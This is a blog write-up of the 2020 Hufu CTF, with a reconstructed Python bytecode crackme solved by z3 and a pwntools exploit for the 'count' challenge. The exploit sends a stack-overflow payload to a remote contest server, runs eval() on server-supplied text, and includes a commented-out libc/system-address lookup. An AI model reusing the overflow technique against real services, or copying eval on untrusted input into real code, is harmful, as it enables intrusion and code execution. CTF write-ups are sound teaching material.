0%

2020虎符网络安全大赛

2020虎符网络安全大赛

py逆向

py字节码逆向,苦力活,照着这份对应上文档

check0感觉最难逆向…我没法还原,只能做成照着样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# coding=utf-8
arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20 ,22 ,127, 60]
arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102]
all = None
flag = raw_input()
if check0(flag) and check1(flag) and check2(flag) and check3(flag):
print("ok")
else:
print("no")

def genexpr(s):
result = []
for each in s:
if ord(each) > 32 and ord(each) < 128:
result.append(ord(each))
return result

def check0(s):
return genexpr(s)

def check1(s):
if len(s) < 100 and len(s)*len(s)%777^233 ==513:
return True
else:
return False

def check2(s):
if ((((ord(s[0])*128 + ord(s[1]))*128 + ord(s[2]))*128 + ord(s[3])*128) + ord(s[4])*128 + ord(s[5]) == 3533889469877:
if ord(s[-1]) == 125:
return True
return False

def check3(s):
arr = map(ord,s)
a = arr[6:30:3]
for i in range(len(a)):
if (a[i]*17684+372511)%257 != arr0[i]:
return False
b = arr[-2:33:-1]*5
c = map(lambda x,y:x^y,zip(b, arr[7:27]))
if c!=arr1:
return False
p = 0
for i in range(28, 34):
if (arr[i]+107)/16+77 !=arr2[p] and (arr[i]+117)%16+99 != arr2[p+1]:
return False
p = p+2
return True

逆向完过后,解题,照理说z3很快就解完了才对,后面发觉有坑,坑点我写在z3总结上了,

  1. check0 检查在可见字符范围内
  2. check1得到flag长度为39
  3. check2 限定最后一个字符为 } 同时我们根据这个东西 x * 128 + ord(s[5]) = 3533889469877可得,3533889469877%128就是s[5] 得到s[5] 为 ‘5’, s[1-4] = ‘flag’
  4. check3可以暴力,这里我用z3了

z3解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# coding=utf-8
from z3 import *

arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20 ,22 ,127, 60]
arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102]

flag = [BitVec('flag{}'.format(i), 32) for i in range(39)]
s = Solver()
s.add(flag[38] == 125)
s.add(flag[0] == ord('f'))
s.add(flag[1] == ord('l'))
s.add(flag[2] == ord('a'))
s.add(flag[3] == ord('g'))
s.add(flag[4] == ord('{'))
s.add(flag[5] == 53)
count = 0
for i in range(6, 30, 3):
s.add((flag[i]*17684+372511)%257 == arr0[count])
s.add(flag[i]<128)
s.add(flag[i]>0)
count += 1
print(s)
count = 0
for i in range(7, 27, 4):
s.add((flag[i]^flag[37]) == arr1[count])
s.add((flag[i+1]^flag[36]) == arr1[count+1])
s.add((flag[i+2]^flag[35]) == arr1[count+2])
s.add((flag[i+3]^flag[34]) == arr1[count+3])
count += 4

count = 0
for i in range(28, 34):
s.add((flag[i]+107) / 16 +77 == arr2[count])
s.add((flag[i]+117) % 16 +99 == arr2[count+1])
count += 2

s.check()
m = s.model()
print(m)
result = ""
for f in flag:
print(f)
result += chr(m[f].as_long())
print(result)

pwn

Marksman

count

签到题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *


local = 0
link = '39.97.210.182:40285'
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './pwn'
context.binary = exe
elf = ELF(exe)
#libc = elf.libc




#don't forget to change it
if local:
io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/', './pwn'])
else:
io = remote(host,port)


s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()


# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))


# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))






#===========================================================
# EXPLOIT GOES HERE
#===========================================================


# Arch: aarch64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)




def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

for i in range(200):
ru("Math: ")
result = eval(ru("=", True))
sla("answer:", result)
sl("A"*100 + p64(0x12235612))
'''
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("fgets",leak_addr)
libc_base = leak_addr - obj.dump("fgets")
system_addr = libc_base + obj.dump("system")
malloc_hook = libc_base + obj.dump("__malloc_hook")
free_hook = libc_base + obj.dump("__free_hook")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
'''
ia()


if __name__ == '__main__':
exp(host,)

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/12417eeb/
版权声明:转载请注明出处!